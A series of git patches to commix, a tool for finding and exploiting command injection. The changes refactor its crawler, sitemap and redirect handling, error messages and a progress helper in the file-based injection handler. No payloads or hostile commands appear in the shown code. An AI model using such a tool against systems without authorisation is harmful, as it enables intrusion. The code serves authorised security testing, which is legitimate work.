+ if not menu.options.batch and not settings.FOLLOW_REDIRECT:
+ if settings.CRAWLING and settings.CRAWLED_URLS == 0:
print(settings.SINGLE_WHITESPACE)
question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
question_msg += "Do you want to follow the identified redirection? [Y/n] > "
@@ -74,6 +74,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
else:
redirection_option = ""
if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES:
+ settings.FOLLOW_REDIRECT = True
if menu.options.batch and not settings.CRAWLING:
info_msg = "Following redirection to '" + response.geturl() + "'. "
print(settings.print_info_msg(info_msg))
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 1789f0b73b..a7120bc392 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -34,6 +34,77 @@
crawled_hrefs = []
new_crawled_hrefs = []
+"""
+Change the crawling depth level.
+"""
+def set_crawling_depth():
+ while True:
+ if not menu.options.batch:
+ question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > "
+ message = _input(settings.print_question_msg(question_msg))
+ else:
+ message = ""
+ if len(message) == 0:
+ message = "N"
+ if message in settings.CHOICE_YES or message in settings.CHOICE_NO:
+ break
+ elif message in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + message + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+ # Change the crawling depth level.
+ if message in settings.CHOICE_YES:
+ while True:
+ question_msg = "Please enter the crawling depth level: > "
+ message = _input(settings.print_question_msg(question_msg))
+ if len(message) == 0:
+ message = 1
+ break
+ else:
+ menu.options.crawldepth = message
+ break
+
+
+"""
+Normalize crawling results.
+"""
+def normalize_results(output_href):
+ results = []
+ while True:
+ if not menu.options.batch:
+ question_msg = "Do you want to normalize crawling results? [Y/n] > "
+ message = _input(settings.print_question_msg(question_msg))
+ else:
+ message = ""
+ if len(message) == 0:
+ message = "Y"
+ if message in settings.CHOICE_YES:
+ seen = set()
+ for target in output_href:
+ value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "")
+ match = re.search(r"/[^/?]*\?.+\Z", value)
+ if match:
+ key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")
+ if '=' in key and key not in seen:
+ results.append(target)
+ seen.add(key)
+ if len(results) != 0:
+ return results
+ elif message in settings.CHOICE_NO:
+ break
+ elif message in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + message + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+
+
+"""
+Store crawling results to a temporary file.
+"""
def store_crawling():
while True:
if not menu.options.batch:
@@ -59,6 +130,7 @@ def store_crawling():
sys.stdout.flush()
pass
+
"""
Check for URLs in sitemap.xml.
"""
@@ -102,16 +174,19 @@ def sitemap(url):
raise SystemExit()
pass
+
"""
Store the identified (valid) hrefs.
"""
def store_hrefs(href, identified_hrefs, redirection):
if href not in crawled_hrefs:
- if (settings.CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection:
+ if (settings.DEFAULT_CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection:
new_crawled_hrefs.append(href)
identified_hrefs = True
crawled_hrefs.append(href)
return identified_hrefs
+
+
"""
Do a request to target URL.
"""
@@ -134,13 +209,14 @@ def request(url):
if url not in settings.HREF_SKIPPED:
settings.HREF_SKIPPED.append(url)
settings.CRAWLED_SKIPPED_URLS += 1
- # if settings.CRAWLING_DEPTH == 1:
- if settings.TOTAL_OF_REQUESTS != 1:
+ # if settings.DEFAULT_CRAWLING_DEPTH == 1:
+ if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS:
print(settings.SINGLE_WHITESPACE)
checks.connection_exceptions(err_msg, url)
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
+
"""
The crawing process.
"""
@@ -151,7 +227,6 @@ def do_process(url):
else:
if settings.CRAWLED_SKIPPED_URLS == 0:
sys.stdout.write("\r")
-
# Grab the crawled hrefs.
try:
response = request(url)
@@ -178,7 +253,7 @@ def do_process(url):
if len(crawled_hrefs) != 0:
if identified_hrefs:
- if len(new_crawled_hrefs) != 0 and settings.CRAWLING_DEPTH != 1:
+ if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1:
return list(set(new_crawled_hrefs))
return list(set(crawled_hrefs))
return list("")
@@ -189,11 +264,16 @@ def do_process(url):
except Exception as e: # for non-HTML files and non-valid links
pass
+
"""
The main crawler.
"""
-def crawler(url):
- info_msg = "Starting crawler for target URL '" + url + "'"
+def crawler(url, url_num, crawling_list):
+ if crawling_list > 1:
+ _ = " (" + str(url_num) + "/" + str(crawling_list) + ")"
+ else:
+ _ = ""
+ info_msg = "Starting crawler for target URL '" + url + "'" + _
print(settings.print_info_msg(info_msg))
response = request(url)
if menu.options.sitemap_url:
@@ -218,41 +298,13 @@ def crawler(url):
err_msg = "'" + message + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
-
- if menu.options.crawldepth:
- while True:
- if not menu.options.batch:
- question_msg = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "N"
- if message in settings.CHOICE_YES or message in settings.CHOICE_NO:
- break
- elif message in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + message + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
- # Change the crawling depth level.
- if message in settings.CHOICE_YES:
- while True:
- question_msg = "Please enter the crawling depth level: > "
- message = _input(settings.print_question_msg(question_msg))
- if len(message) == 0:
- message = 1
- break
- else:
- menu.options.crawldepth = message
- break
+ else:
+ set_crawling_depth()
while True:
- sitemap_check = None
- if not menu.options.sitemap_url:
+ if not menu.options.sitemap_url and settings.SITEMAP_CHECK is None:
if not menu.options.batch:
- question_msg = "Do you want to check target for "
+ question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for "
question_msg += "the existence of site's sitemap(.xml)? [y/N] > "
message = _input(settings.print_question_msg(question_msg))
else:
@@ -260,10 +312,10 @@ def crawler(url):
if len(message) == 0:
message = "n"
if message in settings.CHOICE_YES:
- sitemap_check = True
+ settings.SITEMAP_CHECK = True
break
elif message in settings.CHOICE_NO:
- sitemap_check = False
+ settings.SITEMAP_CHECK = False
break
elif message in settings.CHOICE_QUIT:
raise SystemExit()
@@ -273,26 +325,30 @@ def crawler(url):
pass
else:
message = "n"
- sitemap_check = True
+ settings.SITEMAP_CHECK = True
break
- if sitemap_check:
+
+ if settings.SITEMAP_CHECK:
output_href = sitemap(url)
if output_href is None :
- sitemap_check = False
+ settings.SITEMAP_CHECK = False
- if not sitemap_check:
+ if not settings.SITEMAP_CHECK:
output_href = do_process(url)
- while settings.CRAWLING_DEPTH <= int(menu.options.crawldepth):
+ if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1:
+ settings.DEFAULT_CRAWLING_DEPTH = 1
+ while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth):
info_msg = "Searching for usable "
- info_msg += "links with depth " + str(settings.CRAWLING_DEPTH) + "."
+ info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "."
print(settings.print_info_msg(info_msg))
- if settings.CRAWLING_DEPTH != 1:
+ if settings.DEFAULT_CRAWLING_DEPTH != 1:
output_href = new_crawled_hrefs
link = 0
if output_href is not None:
for url in output_href:
- link += 1
if url not in visited_hrefs:
+ link += 1
+ settings.CRAWLED_URLS = link
visited_hrefs.append(url)
do_process(url)
info_msg = str(link)
@@ -303,40 +359,9 @@ def crawler(url):
print(settings.SINGLE_WHITESPACE)
if link != 0:
print(settings.SINGLE_WHITESPACE)
- settings.CRAWLING_DEPTH += 1
+ settings.DEFAULT_CRAWLING_DEPTH += 1
output_href = crawled_hrefs
- results = []
- while True:
- if not menu.options.batch:
- question_msg = "Do you want to normalize crawling results? [Y/n] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "Y"
- if message in settings.CHOICE_YES:
- seen = set()
- for target in output_href:
- value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "")
- match = re.search(r"/[^/?]*\?.+\Z", value)
- if match:
- key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")
- if '=' in key and key not in seen:
- results.append(target)
- seen.add(key)
- if len(results) != 0:
- output_href = results
- break
- elif message in settings.CHOICE_NO:
- break
- elif message in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + message + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
-
return output_href
# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index fdaf822750..42e9328a33 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "55"
+REVISION = "56"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1133,11 +1133,15 @@ def sys_argv_errors():
# Crawling state
CRAWLING = False
CRAWLED_SKIPPED_URLS = 0
+CRAWLED_URLS = 0
# Skipped crawled hrefs
HREF_SKIPPED = []
# Default crawling depth
-CRAWLING_DEPTH = 1
+DEFAULT_CRAWLING_DEPTH = 1
+SITEMAP_CHECK = None
+
+FOLLOW_REDIRECT = False
# eof
\ No newline at end of file
From 957856238e58d4806709ad839f9aefd1b9ef6de4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 9 May 2022 09:00:33 +0300
Subject: [PATCH 133/560] Fixes
https://github.com/commixproject/commix/issues/768 and trivial updates
---
src/core/injections/controller/controller.py | 3 ---
src/core/main.py | 8 ++++++--
src/utils/crawler.py | 20 +++++++-------------
src/utils/settings.py | 2 +-
4 files changed, 14 insertions(+), 19 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 198a678427..8f4fa148ce 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -372,7 +372,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0:
warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded."
print(settings.print_warning_msg(warn_msg))
-
checks.tamper_scripts(stored_tamper_scripts=False)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Performing heuristic (basic) tests to the target URL."
@@ -579,7 +578,6 @@ def cookie_injection(url, http_request_method, filename, timesec):
if check_parameter != parameter:
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
-
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if menu.options.test_parameter != None:
@@ -627,7 +625,6 @@ def get_request(url, http_request_method, filename, timesec):
if check_parameter != url:
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
-
# Check if testable parameter(s) are provided
if len(settings.TESTABLE_PARAMETER) > 0:
if menu.options.test_parameter != None:
diff --git a/src/core/main.py b/src/core/main.py
index d89e38536a..2c43f320c0 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -669,7 +669,10 @@ def main(filename, url):
else:
settings.LOCAL_HTTP_IP = None
- if menu.options.crawldepth > 0 or menu.options.sitemap_url:
+ if menu.options.sitemap_url:
+ settings.SITEMAP_CHECK = True
+
+ if menu.options.crawldepth > 0 or settings.SITEMAP_CHECK:
settings.CRAWLING = True
# Check arguments
@@ -797,12 +800,13 @@ def main(filename, url):
# Check if option "--crawl" is enabled.
if settings.CRAWLING:
+ output_href = []
url_num = 1
if not menu.options.bulkfile:
crawling_list = 1
output_href = crawler.crawler(menu.options.url, url_num, crawling_list)
+ output_href.append(menu.options.url)
else:
- output_href = []
crawling_list = len(bulkfile)
for url in bulkfile:
output_href = (crawler.crawler(url, url_num, crawling_list))
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index a7120bc392..9c8a46aa88 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -93,7 +93,7 @@ def normalize_results(output_href):
if len(results) != 0:
return results
elif message in settings.CHOICE_NO:
- break
+ return output_href
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
@@ -276,9 +276,10 @@ def crawler(url, url_num, crawling_list):
info_msg = "Starting crawler for target URL '" + url + "'" + _
print(settings.print_info_msg(info_msg))
response = request(url)
- if menu.options.sitemap_url:
+
+ if settings.SITEMAP_CHECK:
message = ""
- if not menu.options.crawldepth:
+ if not settings.CRAWLING:
while True:
if not menu.options.batch:
question_msg = "Do you want to enable crawler? [y/N] > "
@@ -298,11 +299,10 @@ def crawler(url, url_num, crawling_list):
err_msg = "'" + message + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
- else:
set_crawling_depth()
- while True:
- if not menu.options.sitemap_url and settings.SITEMAP_CHECK is None:
+ if settings.SITEMAP_CHECK is None:
+ while True:
if not menu.options.batch:
question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for "
question_msg += "the existence of site's sitemap(.xml)? [y/N] > "
@@ -323,17 +323,11 @@ def crawler(url, url_num, crawling_list):
err_msg = "'" + message + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
- else:
- message = "n"
- settings.SITEMAP_CHECK = True
- break
if settings.SITEMAP_CHECK:
output_href = sitemap(url)
- if output_href is None :
- settings.SITEMAP_CHECK = False
- if not settings.SITEMAP_CHECK:
+ if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None):
output_href = do_process(url)
if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1:
settings.DEFAULT_CRAWLING_DEPTH = 1
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 42e9328a33..f7624a655c 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "56"
+REVISION = "57"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 68e1410d87a666196baab6dfb996741fd7272f16 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 10 May 2022 07:38:12 +0300
Subject: [PATCH 134/560] Trivial updates
---
src/core/injections/controller/checks.py | 2 +-
src/core/injections/controller/controller.py | 15 +++---
.../techniques/file_based/fb_handler.py | 47 ++++++++++++-------
src/core/main.py | 8 ++--
src/core/requests/redirection.py | 2 +-
src/utils/crawler.py | 9 ++--
src/utils/settings.py | 2 +-
7 files changed, 51 insertions(+), 34 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 38a4d95542..0919627d4c 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -80,7 +80,7 @@ def connection_exceptions(err_msg, url):
print(settings.SINGLE_WHITESPACE)
if "wrong version number" in str(error_msg).lower():
settings.MAX_RETRIES = 1
- error_msg = "can't establish SSL connection"
+ error_msg = "Can't establish SSL connection"
elif "connection refused" in str(error_msg).lower():
settings.MAX_RETRIES = 1
else:
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 8f4fa148ce..1c0894548e 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -377,6 +377,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
debug_msg = "Performing heuristic (basic) tests to the target URL."
print(settings.print_debug_msg(debug_msg))
url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
+
if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION:
# Check for identified warnings
url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
@@ -401,13 +402,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
print(settings.print_error_msg(err_msg))
pass
- if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
- warn_msg = "Heuristic (basic) tests shows that" + header_name
- if not header_name == " cookie" and not the_type == " HTTP header":
- warn_msg += " " + str(http_request_method) + ""
- warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
- warn_msg += the_type + check_parameter + " might not be injectable."
- print(settings.print_bold_warning_msg(warn_msg))
+ if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
+ warn_msg = "Heuristic (basic) tests shows that" + header_name
+ if not header_name == " cookie" and not the_type == " HTTP header":
+ warn_msg += " " + str(http_request_method) + ""
+ warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
+ warn_msg += the_type + check_parameter + " might not be injectable."
+ print(settings.print_bold_warning_msg(warn_msg))
if menu.options.failed_tries and \
menu.options.tech and not "f" in menu.options.tech and not \
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index cb5c35fc27..da715e3a0a 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -164,6 +164,28 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons
return tmp_path
+
+def finalize(exit_loops, no_result, float_percent, injection_type, technique):
+ if exit_loops == False:
+ if settings.VERBOSITY_LEVEL == 0:
+ if str(float_percent) == "100.0":
+ if no_result == True:
+ percent = settings.FAIL_STATUS
+ else:
+ percent = ".. (" + str(float_percent) + "%)"
+ else:
+ percent = ".. (" + str(float_percent) + "%)"
+
+ info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+ sys.stdout.flush()
+ return True
+ else:
+ return True
+ else:
+ return False
+
+
"""
The "file-based" injection technique handler
"""
@@ -333,6 +355,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Use the "/tmp/" directory for tempfile-based technique.
elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total):
+
+ if i == total:
+ if finalize(exit_loops, no_result, float_percent, injection_type, technique):
+ continue
+ else:
+ raise
+
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
@@ -369,22 +398,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
continue
else:
- if exit_loops == False:
- if settings.VERBOSITY_LEVEL == 0:
- if str(float_percent) == "100.0":
- if no_result == True:
- percent = settings.FAIL_STATUS
- else:
- percent = ".. (" + str(float_percent) + "%)"
- else:
- percent = ".. (" + str(float_percent) + "%)"
-
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
- sys.stdout.write("\r" + settings.print_info_msg(info_msg))
- sys.stdout.flush()
- continue
- else:
- continue
+ if finalize(exit_loops, no_result, float_percent, injection_type, technique):
+ continue
else:
raise
diff --git a/src/core/main.py b/src/core/main.py
index 2c43f320c0..c614f8811f 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -814,7 +814,6 @@ def main(filename, url):
output_href = output_href + bulkfile
output_href = [x for x in output_href if x not in settings.HREF_SKIPPED]
output_href = crawler.normalize_results(output_href)
- filename = crawler.store_crawling()
else:
output_href = []
output_href = output_href + bulkfile
@@ -824,7 +823,9 @@ def main(filename, url):
[clean_output_href.append(x) for x in output_href if x not in clean_output_href]
# Removing empty elements from list.
clean_output_href = [x for x in clean_output_href if x]
- if len(clean_output_href) != 0:
+ if len(output_href) >= 0:
+ if filename is not None:
+ filename = crawler.store_crawling(output_href)
info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "."
print(settings.print_info_msg(info_msg))
url_num = 0
@@ -832,9 +833,6 @@ def main(filename, url):
if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS:
url_num += 1
print(settings.print_question_msg("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
- if filename is not None:
- with open(filename, "a") as crawling_results:
- crawling_results.write(url + "\n")
if not menu.options.batch:
question_msg = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
message = _input(settings.print_question_msg(question_msg))
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index 562b722a2a..2e5a5fa311 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -66,7 +66,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
else:
while True:
if not menu.options.batch and not settings.FOLLOW_REDIRECT:
- if settings.CRAWLING and settings.CRAWLED_URLS == 0:
+ if settings.CRAWLED_URLS != 0:
print(settings.SINGLE_WHITESPACE)
question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
question_msg += "Do you want to follow the identified redirection? [Y/n] > "
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 9c8a46aa88..0617ebd2a7 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -105,7 +105,7 @@ def normalize_results(output_href):
"""
Store crawling results to a temporary file.
"""
-def store_crawling():
+def store_crawling(output_href):
while True:
if not menu.options.batch:
question_msg = "Do you want to store crawling results to a temporary file "
@@ -119,9 +119,12 @@ def store_crawling():
filename = tempfile.mkstemp(suffix=".txt")[1]
info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'."
print(settings.print_info_msg(info_msg))
- return str(filename)
+ with open(filename, "a") as crawling_results:
+ for url in output_href:
+ crawling_results.write(url + "\n")
+ return
elif message in settings.CHOICE_NO:
- return None
+ return
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index f7624a655c..de7e66914e 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "57"
+REVISION = "58"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From ddb72e397c028d400d06d5279608bc4fcda9cc0c Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 11 May 2022 07:02:08 +0300
Subject: [PATCH 135/560] Additional fixes and updates regarding commit:
https://github.com/commixproject/commix/commit/68e1410d87a666196baab6dfb996741fd7272f16
---
src/core/injections/controller/checks.py | 7 +-
src/core/main.py | 18 +--
src/core/requests/headers.py | 15 +--
src/core/requests/redirection.py | 2 +-
src/utils/crawler.py | 140 ++++++++++++-----------
src/utils/settings.py | 2 +-
6 files changed, 100 insertions(+), 84 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 0919627d4c..94c2de10e4 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -117,11 +117,10 @@ def connection_exceptions(err_msg, url):
info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)."
print(settings.print_info_msg(info_msg))
error_msg = "Unable to connect to the target URL (Reason: " + str(error_msg.replace("Http", "Http".upper())) + ")."
- if not isinstance(url, str):
- _ = ""
- else:
+ _ = ""
+ if isinstance(url, str):
_ = " Skipping URL '" + str(url) + "'."
- if settings.MULTI_TARGETS:
+ if settings.MULTI_TARGETS or settings.CRAWLING:
error_msg = error_msg + _
print(settings.print_critical_msg(error_msg))
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
diff --git a/src/core/main.py b/src/core/main.py
index c614f8811f..8e6faa281e 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -761,14 +761,15 @@ def main(filename, url):
if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START:
update.check_for_update()
+ # Check if option is "--url" for single url test.
+ if menu.options.sitemap_url:
+ url = menu.options.sitemap_url
+ else:
+ url = menu.options.url
+
if not menu.options.bulkfile and not settings.CRAWLING:
if os_checks_num == 0:
settings.INIT_TEST = True
- # Check if option is "--url" for single url test.
- if menu.options.sitemap_url:
- url = menu.options.sitemap_url
- else:
- url = menu.options.url
response, url = url_response(url)
if response != False:
filename = logs.logs_filename_creation(url)
@@ -804,8 +805,8 @@ def main(filename, url):
url_num = 1
if not menu.options.bulkfile:
crawling_list = 1
- output_href = crawler.crawler(menu.options.url, url_num, crawling_list)
- output_href.append(menu.options.url)
+ output_href = crawler.crawler(url, url_num, crawling_list)
+ output_href.append(url)
else:
crawling_list = len(bulkfile)
for url in bulkfile:
@@ -864,6 +865,9 @@ def main(filename, url):
try:
checks.user_aborted(filename, url)
except NameError:
+ abort_msg = "User quit (Ctrl-C was pressed)."
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_abort_msg(abort_msg))
raise SystemExit()
except SystemExit:
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 18ae47ec20..226248abab 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -171,7 +171,9 @@ def https_open(self, req):
except _urllib.error.HTTPError as err_msg:
if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
- print(settings.SINGLE_WHITESPACE)
+ if (settings.CRAWLING and settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0) or \
+ not settings.CRAWLING:
+ print(settings.SINGLE_WHITESPACE)
if settings.UNAUTHORIZED_ERROR in str(err_msg):
settings.UNAUTHORIZED = unauthorized = True
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
@@ -215,13 +217,12 @@ def https_open(self, req):
print_http_response(err.info(), err.code, err.read())
if (not settings.PERFORM_CRACKING and \
- not settings.IS_JSON and \
- not settings.IS_XML and \
- not str(err.code) == settings.INTERNAL_SERVER_ERROR and \
- not str(err.code) == settings.BAD_REQUEST and \
- not settings.CRAWLED_SKIPPED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0:
+ not settings.IS_JSON and \
+ not settings.IS_XML and \
+ not str(err.code) == settings.INTERNAL_SERVER_ERROR and \
+ not str(err.code) == settings.BAD_REQUEST and \
+ not settings.CRAWLED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0:
print(settings.SINGLE_WHITESPACE)
- # error_msg = "Got " + str(err).replace(": "," (")
# Check for 3xx, 4xx, 5xx HTTP error codes.
if str(err.code).startswith(('3', '4', '5')):
if settings.VERBOSITY_LEVEL >= 2:
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index 2e5a5fa311..e3a5612766 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -66,7 +66,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
else:
while True:
if not menu.options.batch and not settings.FOLLOW_REDIRECT:
- if settings.CRAWLED_URLS != 0:
+ if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0:
print(settings.SINGLE_WHITESPACE)
question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
question_msg += "Do you want to follow the identified redirection? [Y/n] > "
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 0617ebd2a7..81fd2a2d7c 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -34,6 +34,7 @@
crawled_hrefs = []
new_crawled_hrefs = []
+
"""
Change the crawling depth level.
"""
@@ -54,6 +55,7 @@ def set_crawling_depth():
err_msg = "'" + message + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
+
# Change the crawling depth level.
if message in settings.CHOICE_YES:
while True:
@@ -61,10 +63,9 @@ def set_crawling_depth():
message = _input(settings.print_question_msg(question_msg))
if len(message) == 0:
message = 1
- break
else:
menu.options.crawldepth = message
- break
+ return
"""
@@ -90,8 +91,7 @@ def normalize_results(output_href):
if '=' in key and key not in seen:
results.append(target)
seen.add(key)
- if len(results) != 0:
- return results
+ return results
elif message in settings.CHOICE_NO:
return output_href
elif message in settings.CHOICE_QUIT:
@@ -171,6 +171,7 @@ def sitemap(url):
err_msg = "'" + message + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
+ no_usable_links(sitemap_loc)
return sitemap_loc
except:
if not menu.options.crawldepth:
@@ -212,13 +213,71 @@ def request(url):
if url not in settings.HREF_SKIPPED:
settings.HREF_SKIPPED.append(url)
settings.CRAWLED_SKIPPED_URLS += 1
- # if settings.DEFAULT_CRAWLING_DEPTH == 1:
if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS:
- print(settings.SINGLE_WHITESPACE)
+ if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0:
+ print(settings.SINGLE_WHITESPACE)
checks.connection_exceptions(err_msg, url)
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
+"""
+Enable crawler.
+"""
+def enable_crawler():
+ message = ""
+ if not settings.CRAWLING:
+ while True:
+ if not menu.options.batch:
+ question_msg = "Do you want to enable crawler? [y/N] > "
